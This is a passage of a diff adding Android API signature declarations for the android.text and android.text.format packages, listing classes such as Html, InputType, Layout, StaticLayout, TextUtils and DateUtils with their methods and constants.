+  public interface GetChars extends java.lang.CharSequence {
+    method public void getChars(int, int, char[], int);
+  }
+
+  public class Html {
+    method public static String escapeHtml(CharSequence);
+    method @Deprecated public static android.text.Spanned fromHtml(String);
+    method public static android.text.Spanned fromHtml(String, int);
+    method @Deprecated public static android.text.Spanned fromHtml(String, android.text.Html.ImageGetter, android.text.Html.TagHandler);
+    method public static android.text.Spanned fromHtml(String, int, android.text.Html.ImageGetter, android.text.Html.TagHandler);
+    method @Deprecated public static String toHtml(android.text.Spanned);
+    method public static String toHtml(android.text.Spanned, int);
+    field public static final int FROM_HTML_MODE_COMPACT = 63; // 0x3f
+    field public static final int FROM_HTML_MODE_LEGACY = 0; // 0x0
+    field public static final int FROM_HTML_OPTION_USE_CSS_COLORS = 256; // 0x100
+    field public static final int FROM_HTML_SEPARATOR_LINE_BREAK_BLOCKQUOTE = 32; // 0x20
+    field public static final int FROM_HTML_SEPARATOR_LINE_BREAK_DIV = 16; // 0x10
+    field public static final int FROM_HTML_SEPARATOR_LINE_BREAK_HEADING = 2; // 0x2
+    field public static final int FROM_HTML_SEPARATOR_LINE_BREAK_LIST = 8; // 0x8
+    field public static final int FROM_HTML_SEPARATOR_LINE_BREAK_LIST_ITEM = 4; // 0x4
+    field public static final int FROM_HTML_SEPARATOR_LINE_BREAK_PARAGRAPH = 1; // 0x1
+    field public static final int TO_HTML_PARAGRAPH_LINES_CONSECUTIVE = 0; // 0x0
+    field public static final int TO_HTML_PARAGRAPH_LINES_INDIVIDUAL = 1; // 0x1
+  }
+
+  public static interface Html.ImageGetter {
+    method public android.graphics.drawable.Drawable getDrawable(String);
+  }
+
+  public static interface Html.TagHandler {
+    method public void handleTag(boolean, String, android.text.Editable, org.xml.sax.XMLReader);
+  }
+
+  public interface InputFilter {
+    method public CharSequence filter(CharSequence, int, int, android.text.Spanned, int, int);
+  }
+
+  public static class InputFilter.AllCaps implements android.text.InputFilter {
+    ctor public InputFilter.AllCaps();
+    ctor public InputFilter.AllCaps(@NonNull java.util.Locale);
+    method public CharSequence filter(CharSequence, int, int, android.text.Spanned, int, int);
+  }
+
+  public static class InputFilter.LengthFilter implements android.text.InputFilter {
+    ctor public InputFilter.LengthFilter(int);
+    method public CharSequence filter(CharSequence, int, int, android.text.Spanned, int, int);
+    method public int getMax();
+  }
+
+  public interface InputType {
+    field public static final int TYPE_CLASS_DATETIME = 4; // 0x4
+    field public static final int TYPE_CLASS_NUMBER = 2; // 0x2
+    field public static final int TYPE_CLASS_PHONE = 3; // 0x3
+    field public static final int TYPE_CLASS_TEXT = 1; // 0x1
+    field public static final int TYPE_DATETIME_VARIATION_DATE = 16; // 0x10
+    field public static final int TYPE_DATETIME_VARIATION_NORMAL = 0; // 0x0
+    field public static final int TYPE_DATETIME_VARIATION_TIME = 32; // 0x20
+    field public static final int TYPE_MASK_CLASS = 15; // 0xf
+    field public static final int TYPE_MASK_FLAGS = 16773120; // 0xfff000
+    field public static final int TYPE_MASK_VARIATION = 4080; // 0xff0
+    field public static final int TYPE_NULL = 0; // 0x0
+    field public static final int TYPE_NUMBER_FLAG_DECIMAL = 8192; // 0x2000
+    field public static final int TYPE_NUMBER_FLAG_SIGNED = 4096; // 0x1000
+    field public static final int TYPE_NUMBER_VARIATION_NORMAL = 0; // 0x0
+    field public static final int TYPE_NUMBER_VARIATION_PASSWORD = 16; // 0x10
+    field public static final int TYPE_TEXT_FLAG_AUTO_COMPLETE = 65536; // 0x10000
+    field public static final int TYPE_TEXT_FLAG_AUTO_CORRECT = 32768; // 0x8000
+    field public static final int TYPE_TEXT_FLAG_CAP_CHARACTERS = 4096; // 0x1000
+    field public static final int TYPE_TEXT_FLAG_CAP_SENTENCES = 16384; // 0x4000
+    field public static final int TYPE_TEXT_FLAG_CAP_WORDS = 8192; // 0x2000
+    field public static final int TYPE_TEXT_FLAG_IME_MULTI_LINE = 262144; // 0x40000
+    field public static final int TYPE_TEXT_FLAG_MULTI_LINE = 131072; // 0x20000
+    field public static final int TYPE_TEXT_FLAG_NO_SUGGESTIONS = 524288; // 0x80000
+    field public static final int TYPE_TEXT_VARIATION_EMAIL_ADDRESS = 32; // 0x20
+    field public static final int TYPE_TEXT_VARIATION_EMAIL_SUBJECT = 48; // 0x30
+    field public static final int TYPE_TEXT_VARIATION_FILTER = 176; // 0xb0
+    field public static final int TYPE_TEXT_VARIATION_LONG_MESSAGE = 80; // 0x50
+    field public static final int TYPE_TEXT_VARIATION_NORMAL = 0; // 0x0
+    field public static final int TYPE_TEXT_VARIATION_PASSWORD = 128; // 0x80
+    field public static final int TYPE_TEXT_VARIATION_PERSON_NAME = 96; // 0x60
+    field public static final int TYPE_TEXT_VARIATION_PHONETIC = 192; // 0xc0
+    field public static final int TYPE_TEXT_VARIATION_POSTAL_ADDRESS = 112; // 0x70
+    field public static final int TYPE_TEXT_VARIATION_SHORT_MESSAGE = 64; // 0x40
+    field public static final int TYPE_TEXT_VARIATION_URI = 16; // 0x10
+    field public static final int TYPE_TEXT_VARIATION_VISIBLE_PASSWORD = 144; // 0x90
+    field public static final int TYPE_TEXT_VARIATION_WEB_EDIT_TEXT = 160; // 0xa0
+    field public static final int TYPE_TEXT_VARIATION_WEB_EMAIL_ADDRESS = 208; // 0xd0
+    field public static final int TYPE_TEXT_VARIATION_WEB_PASSWORD = 224; // 0xe0
+  }
+
+  public abstract class Layout {
+    ctor protected Layout(CharSequence, android.text.TextPaint, int, android.text.Layout.Alignment, float, float);
+    method public void draw(android.graphics.Canvas);
+    method public void draw(android.graphics.Canvas, android.graphics.Path, android.graphics.Paint, int);
+    method public final android.text.Layout.Alignment getAlignment();
+    method public abstract int getBottomPadding();
+    method public void getCursorPath(int, android.graphics.Path, CharSequence);
+    method public static float getDesiredWidth(CharSequence, android.text.TextPaint);
+    method public static float getDesiredWidth(CharSequence, int, int, android.text.TextPaint);
+    method public abstract int getEllipsisCount(int);
+    method public abstract int getEllipsisStart(int);
+    method public int getEllipsizedWidth();
+    method public int getHeight();
+    method public final int getLineAscent(int);
+    method public final int getLineBaseline(int);
+    method public final int getLineBottom(int);
+    method public int getLineBounds(int, android.graphics.Rect);
+    method public abstract boolean getLineContainsTab(int);
+    method public abstract int getLineCount();
+    method public abstract int getLineDescent(int);
+    method public abstract android.text.Layout.Directions getLineDirections(int);
+    method public final int getLineEnd(int);
+    method public int getLineForOffset(int);
+    method public int getLineForVertical(int);
+    method public float getLineLeft(int);
+    method public float getLineMax(int);
+    method public float getLineRight(int);
+    method public abstract int getLineStart(int);
+    method public abstract int getLineTop(int);
+    method public int getLineVisibleEnd(int);
+    method public float getLineWidth(int);
+    method public int getOffsetForHorizontal(int, float);
+    method public int getOffsetToLeftOf(int);
+    method public int getOffsetToRightOf(int);
+    method public final android.text.TextPaint getPaint();
+    method public final android.text.Layout.Alignment getParagraphAlignment(int);
+    method public abstract int getParagraphDirection(int);
+    method public final int getParagraphLeft(int);
+    method public final int getParagraphRight(int);
+    method public float getPrimaryHorizontal(int);
+    method public float getSecondaryHorizontal(int);
+    method public void getSelectionPath(int, int, android.graphics.Path);
+    method public final float getSpacingAdd();
+    method public final float getSpacingMultiplier();
+    method public final CharSequence getText();
+    method public abstract int getTopPadding();
+    method public final int getWidth();
+    method public final void increaseWidthTo(int);
+    method public boolean isRtlCharAt(int);
+    method protected final boolean isSpanned();
+    field public static final int BREAK_STRATEGY_BALANCED = 2; // 0x2
+    field public static final int BREAK_STRATEGY_HIGH_QUALITY = 1; // 0x1
+    field public static final int BREAK_STRATEGY_SIMPLE = 0; // 0x0
+    field public static final float DEFAULT_LINESPACING_ADDITION = 0.0f;
+    field public static final float DEFAULT_LINESPACING_MULTIPLIER = 1.0f;
+    field public static final int DIR_LEFT_TO_RIGHT = 1; // 0x1
+    field public static final int DIR_RIGHT_TO_LEFT = -1; // 0xffffffff
+    field public static final int HYPHENATION_FREQUENCY_FULL = 2; // 0x2
+    field public static final int HYPHENATION_FREQUENCY_NONE = 0; // 0x0
+    field public static final int HYPHENATION_FREQUENCY_NORMAL = 1; // 0x1
+    field public static final int JUSTIFICATION_MODE_INTER_WORD = 1; // 0x1
+    field public static final int JUSTIFICATION_MODE_NONE = 0; // 0x0
+  }
+
+  public enum Layout.Alignment {
+    enum_constant public static final android.text.Layout.Alignment ALIGN_CENTER;
+    enum_constant public static final android.text.Layout.Alignment ALIGN_NORMAL;
+    enum_constant public static final android.text.Layout.Alignment ALIGN_OPPOSITE;
+  }
+
+  public static class Layout.Directions {
+  }
+
+  @Deprecated public abstract class LoginFilter implements android.text.InputFilter {
+    method @Deprecated public CharSequence filter(CharSequence, int, int, android.text.Spanned, int, int);
+    method @Deprecated public abstract boolean isAllowed(char);
+    method @Deprecated public void onInvalidCharacter(char);
+    method @Deprecated public void onStart();
+    method @Deprecated public void onStop();
+  }
+
+  @Deprecated public static class LoginFilter.PasswordFilterGMail extends android.text.LoginFilter {
+    ctor @Deprecated public LoginFilter.PasswordFilterGMail();
+    ctor @Deprecated public LoginFilter.PasswordFilterGMail(boolean);
+    method @Deprecated public boolean isAllowed(char);
+  }
+
+  @Deprecated public static class LoginFilter.UsernameFilterGMail extends android.text.LoginFilter {
+    ctor @Deprecated public LoginFilter.UsernameFilterGMail();
+    ctor @Deprecated public LoginFilter.UsernameFilterGMail(boolean);
+    method @Deprecated public boolean isAllowed(char);
+  }
+
+  @Deprecated public static class LoginFilter.UsernameFilterGeneric extends android.text.LoginFilter {
+    ctor @Deprecated public LoginFilter.UsernameFilterGeneric();
+    ctor @Deprecated public LoginFilter.UsernameFilterGeneric(boolean);
+    method @Deprecated public boolean isAllowed(char);
+  }
+
+  public interface NoCopySpan {
+  }
+
+  public static class NoCopySpan.Concrete implements android.text.NoCopySpan {
+    ctor public NoCopySpan.Concrete();
+  }
+
+  public interface ParcelableSpan extends android.os.Parcelable {
+    method public int getSpanTypeId();
+  }
+
+  public class PrecomputedText implements android.text.Spannable {
+    method public char charAt(int);
+    method public static android.text.PrecomputedText create(@NonNull CharSequence, @NonNull android.text.PrecomputedText.Params);
+    method public void getBounds(@IntRange(from=0) int, @IntRange(from=0) int, @NonNull android.graphics.Rect);
+    method @IntRange(from=0) public int getParagraphCount();
+    method @IntRange(from=0) public int getParagraphEnd(@IntRange(from=0) int);
+    method @IntRange(from=0) public int getParagraphStart(@IntRange(from=0) int);
+    method @NonNull public android.text.PrecomputedText.Params getParams();
+    method public int getSpanEnd(Object);
+    method public int getSpanFlags(Object);
+    method public int getSpanStart(Object);
+    method public <T> T[] getSpans(int, int, Class<T>);
+    method @FloatRange(from=0) public float getWidth(@IntRange(from=0) int, @IntRange(from=0) int);
+    method public int length();
+    method public int nextSpanTransition(int, int, Class);
+    method public void removeSpan(Object);
+    method public void setSpan(Object, int, int, int);
+    method public CharSequence subSequence(int, int);
+  }
+
+  public static final class PrecomputedText.Params {
+    method public int getBreakStrategy();
+    method public int getHyphenationFrequency();
+    method @NonNull public android.text.TextDirectionHeuristic getTextDirection();
+    method @NonNull public android.text.TextPaint getTextPaint();
+  }
+
+  public static class PrecomputedText.Params.Builder {
+    ctor public PrecomputedText.Params.Builder(@NonNull android.text.TextPaint);
+    ctor public PrecomputedText.Params.Builder(@NonNull android.text.PrecomputedText.Params);
+    method @NonNull public android.text.PrecomputedText.Params build();
+    method public android.text.PrecomputedText.Params.Builder setBreakStrategy(int);
+    method public android.text.PrecomputedText.Params.Builder setHyphenationFrequency(int);
+    method public android.text.PrecomputedText.Params.Builder setTextDirection(@NonNull android.text.TextDirectionHeuristic);
+  }
+
+  public class Selection {
+    method public static boolean extendDown(android.text.Spannable, android.text.Layout);
+    method public static boolean extendLeft(android.text.Spannable, android.text.Layout);
+    method public static boolean extendRight(android.text.Spannable, android.text.Layout);
+    method public static final void extendSelection(android.text.Spannable, int);
+    method public static boolean extendToLeftEdge(android.text.Spannable, android.text.Layout);
+    method public static boolean extendToRightEdge(android.text.Spannable, android.text.Layout);
+    method public static boolean extendUp(android.text.Spannable, android.text.Layout);
+    method public static final int getSelectionEnd(CharSequence);
+    method public static final int getSelectionStart(CharSequence);
+    method public static boolean moveDown(android.text.Spannable, android.text.Layout);
+    method public static boolean moveLeft(android.text.Spannable, android.text.Layout);
+    method public static boolean moveRight(android.text.Spannable, android.text.Layout);
+    method public static boolean moveToLeftEdge(android.text.Spannable, android.text.Layout);
+    method public static boolean moveToRightEdge(android.text.Spannable, android.text.Layout);
+    method public static boolean moveUp(android.text.Spannable, android.text.Layout);
+    method public static final void removeSelection(android.text.Spannable);
+    method public static final void selectAll(android.text.Spannable);
+    method public static void setSelection(android.text.Spannable, int, int);
+    method public static final void setSelection(android.text.Spannable, int);
+    field public static final Object SELECTION_END;
+    field public static final Object SELECTION_START;
+  }
+
+  public interface SpanWatcher extends android.text.NoCopySpan {
+    method public void onSpanAdded(android.text.Spannable, Object, int, int);
+    method public void onSpanChanged(android.text.Spannable, Object, int, int, int, int);
+    method public void onSpanRemoved(android.text.Spannable, Object, int, int);
+  }
+
+  public interface Spannable extends android.text.Spanned {
+    method public void removeSpan(Object);
+    method public void setSpan(Object, int, int, int);
+  }
+
+  public static class Spannable.Factory {
+    ctor public Spannable.Factory();
+    method public static android.text.Spannable.Factory getInstance();
+    method public android.text.Spannable newSpannable(CharSequence);
+  }
+
+  public class SpannableString implements java.lang.CharSequence android.text.GetChars android.text.Spannable {
+    ctor public SpannableString(CharSequence);
+    method public final char charAt(int);
+    method public final void getChars(int, int, char[], int);
+    method public int getSpanEnd(Object);
+    method public int getSpanFlags(Object);
+    method public int getSpanStart(Object);
+    method public <T> T[] getSpans(int, int, Class<T>);
+    method public final int length();
+    method public int nextSpanTransition(int, int, Class);
+    method public void removeSpan(Object);
+    method public void setSpan(Object, int, int, int);
+    method public final CharSequence subSequence(int, int);
+    method public final String toString();
+    method public static android.text.SpannableString valueOf(CharSequence);
+  }
+
+  public class SpannableStringBuilder implements java.lang.Appendable java.lang.CharSequence android.text.Editable android.text.GetChars android.text.Spannable {
+    ctor public SpannableStringBuilder();
+    ctor public SpannableStringBuilder(CharSequence);
+    ctor public SpannableStringBuilder(CharSequence, int, int);
+    method public android.text.SpannableStringBuilder append(CharSequence);
+    method public android.text.SpannableStringBuilder append(CharSequence, Object, int);
+    method public android.text.SpannableStringBuilder append(CharSequence, int, int);
+    method public android.text.SpannableStringBuilder append(char);
+    method public char charAt(int);
+    method public void clear();
+    method public void clearSpans();
+    method public android.text.SpannableStringBuilder delete(int, int);
+    method public void getChars(int, int, char[], int);
+    method public android.text.InputFilter[] getFilters();
+    method public int getSpanEnd(Object);
+    method public int getSpanFlags(Object);
+    method public int getSpanStart(Object);
+    method public <T> T[] getSpans(int, int, @Nullable Class<T>);
+    method @Deprecated public int getTextRunCursor(int, int, int, int, int, android.graphics.Paint);
+    method public int getTextWatcherDepth();
+    method public android.text.SpannableStringBuilder insert(int, CharSequence, int, int);
+    method public android.text.SpannableStringBuilder insert(int, CharSequence);
+    method public int length();
+    method public int nextSpanTransition(int, int, Class);
+    method public void removeSpan(Object);
+    method public android.text.SpannableStringBuilder replace(int, int, CharSequence);
+    method public android.text.SpannableStringBuilder replace(int, int, CharSequence, int, int);
+    method public void setFilters(android.text.InputFilter[]);
+    method public void setSpan(Object, int, int, int);
+    method public CharSequence subSequence(int, int);
+    method public static android.text.SpannableStringBuilder valueOf(CharSequence);
+  }
+
+  public interface Spanned extends java.lang.CharSequence {
+    method public int getSpanEnd(Object);
+    method public int getSpanFlags(Object);
+    method public int getSpanStart(Object);
+    method public <T> T[] getSpans(int, int, Class<T>);
+    method public int nextSpanTransition(int, int, Class);
+    field public static final int SPAN_COMPOSING = 256; // 0x100
+    field public static final int SPAN_EXCLUSIVE_EXCLUSIVE = 33; // 0x21
+    field public static final int SPAN_EXCLUSIVE_INCLUSIVE = 34; // 0x22
+    field public static final int SPAN_INCLUSIVE_EXCLUSIVE = 17; // 0x11
+    field public static final int SPAN_INCLUSIVE_INCLUSIVE = 18; // 0x12
+    field public static final int SPAN_INTERMEDIATE = 512; // 0x200
+    field public static final int SPAN_MARK_MARK = 17; // 0x11
+    field public static final int SPAN_MARK_POINT = 18; // 0x12
+    field public static final int SPAN_PARAGRAPH = 51; // 0x33
+    field public static final int SPAN_POINT_MARK = 33; // 0x21
+    field public static final int SPAN_POINT_MARK_MASK = 51; // 0x33
+    field public static final int SPAN_POINT_POINT = 34; // 0x22
+    field public static final int SPAN_PRIORITY = 16711680; // 0xff0000
+    field public static final int SPAN_PRIORITY_SHIFT = 16; // 0x10
+    field public static final int SPAN_USER = -16777216; // 0xff000000
+    field public static final int SPAN_USER_SHIFT = 24; // 0x18
+  }
+
+  public final class SpannedString implements java.lang.CharSequence android.text.GetChars android.text.Spanned {
+    ctor public SpannedString(CharSequence);
+    method public final char charAt(int);
+    method public final void getChars(int, int, char[], int);
+    method public int getSpanEnd(Object);
+    method public int getSpanFlags(Object);
+    method public int getSpanStart(Object);
+    method public <T> T[] getSpans(int, int, Class<T>);
+    method public final int length();
+    method public int nextSpanTransition(int, int, Class);
+    method public CharSequence subSequence(int, int);
+    method public static android.text.SpannedString valueOf(CharSequence);
+  }
+
+  public class StaticLayout extends android.text.Layout {
+    ctor @Deprecated public StaticLayout(CharSequence, android.text.TextPaint, int, android.text.Layout.Alignment, float, float, boolean);
+    ctor @Deprecated public StaticLayout(CharSequence, int, int, android.text.TextPaint, int, android.text.Layout.Alignment, float, float, boolean);
+    ctor @Deprecated public StaticLayout(CharSequence, int, int, android.text.TextPaint, int, android.text.Layout.Alignment, float, float, boolean, android.text.TextUtils.TruncateAt, int);
+    method public int getBottomPadding();
+    method public int getEllipsisCount(int);
+    method public int getEllipsisStart(int);
+    method public boolean getLineContainsTab(int);
+    method public int getLineCount();
+    method public int getLineDescent(int);
+    method public final android.text.Layout.Directions getLineDirections(int);
+    method public int getLineStart(int);
+    method public int getLineTop(int);
+    method public int getParagraphDirection(int);
+    method public int getTopPadding();
+  }
+
+  public static final class StaticLayout.Builder {
+    method @NonNull public android.text.StaticLayout build();
+    method @NonNull public static android.text.StaticLayout.Builder obtain(@NonNull CharSequence, @IntRange(from=0) int, @IntRange(from=0) int, @NonNull android.text.TextPaint, @IntRange(from=0) int);
+    method @NonNull public android.text.StaticLayout.Builder setAlignment(@NonNull android.text.Layout.Alignment);
+    method @NonNull public android.text.StaticLayout.Builder setBreakStrategy(int);
+    method @NonNull public android.text.StaticLayout.Builder setEllipsize(@Nullable android.text.TextUtils.TruncateAt);
+    method @NonNull public android.text.StaticLayout.Builder setEllipsizedWidth(@IntRange(from=0) int);
+    method @NonNull public android.text.StaticLayout.Builder setHyphenationFrequency(int);
+    method @NonNull public android.text.StaticLayout.Builder setIncludePad(boolean);
+    method @NonNull public android.text.StaticLayout.Builder setIndents(@Nullable int[], @Nullable int[]);
+    method @NonNull public android.text.StaticLayout.Builder setJustificationMode(int);
+    method @NonNull public android.text.StaticLayout.Builder setLineSpacing(float, @FloatRange(from=0.0) float);
+    method @NonNull public android.text.StaticLayout.Builder setMaxLines(@IntRange(from=0) int);
+    method public android.text.StaticLayout.Builder setText(CharSequence);
+    method @NonNull public android.text.StaticLayout.Builder setTextDirection(@NonNull android.text.TextDirectionHeuristic);
+    method @NonNull public android.text.StaticLayout.Builder setUseLineSpacingFromFallbacks(boolean);
+  }
+
+  public interface TextDirectionHeuristic {
+    method public boolean isRtl(char[], int, int);
+    method public boolean isRtl(CharSequence, int, int);
+  }
+
+  public class TextDirectionHeuristics {
+    ctor public TextDirectionHeuristics();
+    field public static final android.text.TextDirectionHeuristic ANYRTL_LTR;
+    field public static final android.text.TextDirectionHeuristic FIRSTSTRONG_LTR;
+    field public static final android.text.TextDirectionHeuristic FIRSTSTRONG_RTL;
+    field public static final android.text.TextDirectionHeuristic LOCALE;
+    field public static final android.text.TextDirectionHeuristic LTR;
+    field public static final android.text.TextDirectionHeuristic RTL;
+  }
+
+  public class TextPaint extends android.graphics.Paint {
+    ctor public TextPaint();
+    ctor public TextPaint(int);
+    ctor public TextPaint(android.graphics.Paint);
+    method public void set(android.text.TextPaint);
+    field public int baselineShift;
+    field @ColorInt public int bgColor;
+    field public float density;
+    field public int[] drawableState;
+    field @ColorInt public int linkColor;
+    field @ColorInt public int underlineColor;
+    field @Px public float underlineThickness;
+  }
+
+  public class TextShaper {
+    method public static void shapeText(@NonNull CharSequence, @IntRange(from=0) int, @IntRange(from=0) int, @NonNull android.text.TextDirectionHeuristic, @NonNull android.text.TextPaint, @NonNull android.text.TextShaper.GlyphsConsumer);
+  }
+
+  public static interface TextShaper.GlyphsConsumer {
+    method public void accept(@IntRange(from=0) int, @IntRange(from=0) int, @NonNull android.graphics.text.PositionedGlyphs, @NonNull android.text.TextPaint);
+  }
+
+  public class TextUtils {
+    method @Deprecated public static CharSequence commaEllipsize(CharSequence, android.text.TextPaint, float, String, String);
+    method public static CharSequence concat(java.lang.CharSequence...);
+    method public static void copySpansFrom(android.text.Spanned, int, int, Class, android.text.Spannable, int);
+    method public static void dumpSpans(CharSequence, android.util.Printer, String);
+    method public static CharSequence ellipsize(CharSequence, android.text.TextPaint, float, android.text.TextUtils.TruncateAt);
+    method public static CharSequence ellipsize(CharSequence, android.text.TextPaint, float, android.text.TextUtils.TruncateAt, boolean, @Nullable android.text.TextUtils.EllipsizeCallback);
+    method public static boolean equals(CharSequence, CharSequence);
+    method public static CharSequence expandTemplate(CharSequence, java.lang.CharSequence...);
+    method public static int getCapsMode(CharSequence, int, int);
+    method public static void getChars(CharSequence, int, int, char[], int);
+    method public static int getLayoutDirectionFromLocale(java.util.Locale);
+    method public static int getOffsetAfter(CharSequence, int);
+    method public static int getOffsetBefore(CharSequence, int);
+    method @Deprecated public static CharSequence getReverse(CharSequence, int, int);
+    method public static int getTrimmedLength(CharSequence);
+    method public static String htmlEncode(String);
+    method public static int indexOf(CharSequence, char);
+    method public static int indexOf(CharSequence, char, int);
+    method public static int indexOf(CharSequence, char, int, int);
+    method public static int indexOf(CharSequence, CharSequence);
+    method public static int indexOf(CharSequence, CharSequence, int);
+    method public static int indexOf(CharSequence, CharSequence, int, int);
+    method public static boolean isDigitsOnly(CharSequence);
+    method public static boolean isEmpty(@Nullable CharSequence);
+    method public static boolean isGraphic(CharSequence);
+    method @Deprecated public static boolean isGraphic(char);
+    method public static String join(@NonNull CharSequence, @NonNull Object[]);
+    method public static String join(@NonNull CharSequence, @NonNull Iterable);
+    method public static int lastIndexOf(CharSequence, char);
+    method public static int lastIndexOf(CharSequence, char, int);
+    method public static int lastIndexOf(CharSequence, char, int, int);
+    method public static CharSequence listEllipsize(@Nullable android.content.Context, @Nullable java.util.List<java.lang.CharSequence>, @NonNull String, @NonNull android.text.TextPaint, @FloatRange(from=0.0, fromInclusive=false) float, @PluralsRes int);
+    method @NonNull public static CharSequence makeSafeForPresentation(@NonNull String, @IntRange(from=0) int, @FloatRange(from=0) float, int);
+    method public static boolean regionMatches(CharSequence, int, CharSequence, int, int);
+    method public static CharSequence replace(CharSequence, String[], CharSequence[]);
+    method public static String[] split(String, String);
+    method public static String[] split(String, java.util.regex.Pattern);
+    method public static CharSequence stringOrSpannedString(CharSequence);
+    method public static String substring(CharSequence, int, int);
+    method public static void writeToParcel(@Nullable CharSequence, @NonNull android.os.Parcel, int);
+    field public static final int CAP_MODE_CHARACTERS = 4096; // 0x1000
+    field public static final int CAP_MODE_SENTENCES = 16384; // 0x4000
+    field public static final int CAP_MODE_WORDS = 8192; // 0x2000
+    field public static final android.os.Parcelable.Creator<java.lang.CharSequence> CHAR_SEQUENCE_CREATOR;
+    field public static final int SAFE_STRING_FLAG_FIRST_LINE = 4; // 0x4
+    field public static final int SAFE_STRING_FLAG_SINGLE_LINE = 2; // 0x2
+    field public static final int SAFE_STRING_FLAG_TRIM = 1; // 0x1
+  }
+
+  public static interface TextUtils.EllipsizeCallback {
+    method public void ellipsized(int, int);
+  }
+
+  public static class TextUtils.SimpleStringSplitter implements java.util.Iterator<java.lang.String> android.text.TextUtils.StringSplitter {
+    ctor public TextUtils.SimpleStringSplitter(char);
+    method public boolean hasNext();
+    method public java.util.Iterator<java.lang.String> iterator();
+    method public String next();
+    method public void setString(String);
+  }
+
+  public static interface TextUtils.StringSplitter extends java.lang.Iterable<java.lang.String> {
+    method public void setString(String);
+  }
+
+  public enum TextUtils.TruncateAt {
+    enum_constant public static final android.text.TextUtils.TruncateAt END;
+    enum_constant public static final android.text.TextUtils.TruncateAt MARQUEE;
+    enum_constant public static final android.text.TextUtils.TruncateAt MIDDLE;
+    enum_constant public static final android.text.TextUtils.TruncateAt START;
+  }
+
+  public interface TextWatcher extends android.text.NoCopySpan {
+    method public void afterTextChanged(android.text.Editable);
+    method public void beforeTextChanged(CharSequence, int, int, int);
+    method public void onTextChanged(CharSequence, int, int, int);
+  }
+
+}
+
+package android.text.format {
+
+  public class DateFormat {
+    ctor public DateFormat();
+    method public static CharSequence format(CharSequence, long);
+    method public static CharSequence format(CharSequence, java.util.Date);
+    method public static CharSequence format(CharSequence, java.util.Calendar);
+    method public static String getBestDateTimePattern(java.util.Locale, String);
+    method public static java.text.DateFormat getDateFormat(android.content.Context);
+    method public static char[] getDateFormatOrder(android.content.Context);
+    method public static java.text.DateFormat getLongDateFormat(android.content.Context);
+    method public static java.text.DateFormat getMediumDateFormat(android.content.Context);
+    method public static java.text.DateFormat getTimeFormat(android.content.Context);
+    method public static boolean is24HourFormat(android.content.Context);
+  }
+
+  public class DateUtils {
+    ctor public DateUtils();
+    method public static String formatDateRange(android.content.Context, long, long, int);
+    method public static java.util.Formatter formatDateRange(android.content.Context, java.util.Formatter, long, long, int);
+    method public static java.util.Formatter formatDateRange(android.content.Context, java.util.Formatter, long, long, int, String);
+    method public static String formatDateTime(android.content.Context, long, int);
+    method public static String formatElapsedTime(long);
+    method public static String formatElapsedTime(StringBuilder, long);
+    method public static final CharSequence formatSameDayTime(long, long, int, int);
+    method @Deprecated public static String getAMPMString(int);
+    method @Deprecated public static String getDayOfWeekString(int, int);
+    method @Deprecated public static String getMonthString(int, int);
+    method public static CharSequence getRelativeDateTimeString(android.content.Context, long, long, long, int);
+    method public static CharSequence getRelativeTimeSpanString(long);
+    method public static CharSequence getRelativeTimeSpanString(long, long, long);
+    method public static CharSequence getRelativeTimeSpanString(long, long, long, int);
+    method public static CharSequence getRelativeTimeSpanString(android.content.Context, long, boolean);
+    method public static CharSequence getRelativeTimeSpanString(android.content.Context, long);
+    method public static boolean isToday(long);
+    field @Deprecated public static final String ABBREV_MONTH_FORMAT = "%b";
+    field public static final String ABBREV_WEEKDAY_FORMAT = "%a";
+    field public static final long DAY_IN_MILLIS = 86400000L; // 0x5265c00L
+    field @Deprecated public static final int FORMAT_12HOUR = 64; // 0x40
+    field @Deprecated public static final int FORMAT_24HOUR = 128; // 0x80
+    field public static final int FORMAT_ABBREV_ALL = 524288; // 0x80000
+    field public static final int FORMAT_ABBREV_MONTH = 65536; // 0x10000
+    field public static final int FORMAT_ABBREV_RELATIVE = 262144; // 0x40000
+    field public static final int FORMAT_ABBREV_TIME = 16384; // 0x4000
+    field public static final int FORMAT_ABBREV_WEEKDAY = 32768; // 0x8000
+    field @Deprecated public static final int FORMAT_CAP_AMPM = 256; // 0x100
+    field @Deprecated public static final int FORMAT_CAP_MIDNIGHT = 4096; // 0x1000
+    field @Deprecated public static final int FORMAT_CAP_NOON = 1024; // 0x400
+    field @Deprecated public static final int FORMAT_CAP_NOON_MIDNIGHT = 5120; // 0x1400
+    field public static final int FORMAT_NO_MIDNIGHT = 2048; // 0x800
+    field public static final int FORMAT_NO_MONTH_DAY = 32; // 0x20
+    field public static final int FORMAT_NO_NOON = 512; // 0x200
+    field @Deprecated public static final int FORMAT_NO_NOON_MIDNIGHT = 2560; // 0xa00
+    field public static final int FORMAT_NO_YEAR = 8; // 0x8
+    field public static final int FORMAT_NUMERIC_DATE = 131072; // 0x20000
+    field public static final int FORMAT_SHOW_DATE = 16; // 0x10
+    field public static final int FORMAT_SHOW_TIME = 1; // 0x1
+    field public static final int FORMAT_SHOW_WEEKDAY = 2; // 0x2
+    field public static final int FORMAT_SHOW_YEAR = 4; // 0x4
+    field @Deprecated public static final int FORMAT_UTC = 8192; // 0x2000
+    field public static final long HOUR_IN_MILLIS = 3600000L; // 0x36ee80L
+    field @Deprecated public static final String HOUR_MINUTE_24 = "%H:%M";
+    field @Deprecated public static final int LENGTH_LONG = 10; // 0xa
+    field @Deprecated public static final int LENGTH_MEDIUM = 20; // 0x14
+    field @Deprecated public static final int LENGTH_SHORT = 30; // 0x1e
+    field @Deprecated public static final int LENGTH_SHORTER = 40; // 0x28
+    field @Deprecated public static final int LENGTH_SHORTEST = 50; // 0x32
+    field public static final long MINUTE_IN_MILLIS = 60000L; // 0xea60L
+    field public static final String MONTH_DAY_FORMAT = "%-d";
+    field public static final String MONTH_FORMAT = "%B";
+    field public static final String NUMERIC_MONTH_FORMAT = "%m";
+    field public static final long SECOND_IN_MILLIS = 1000L; // 0x3e8L
+    field public static final String WEEKDAY_FORMAT = "%A";
+    field public static final long WEEK_IN_MILLIS = 604800000L; // 0x240c8400L
+    field public static final String YEAR_FORMAT = "%Y";
+    field public static final String YEAR_FORMAT_TWO_DIGITS = "%g";
+    field @Deprecated public static final long YEAR_IN_MILLIS = 31449600000L; // 0x7528ad000L
+    field @Deprecated public static final int[] sameMonthTable;
+    field @Deprecated public static final int[] sameYearTable;
+  }
+
+  public final class Formatter {
+    ctor public Formatter();
+    method public static String formatFileSize(@Nullable android.content.Context, long);
+    method @Deprecated public static String formatIpAddress(int);
+    method public static String formatShortFileSize(@Nullable android.content.Context, long);
+  }
+
+  @Deprecated public class Time {
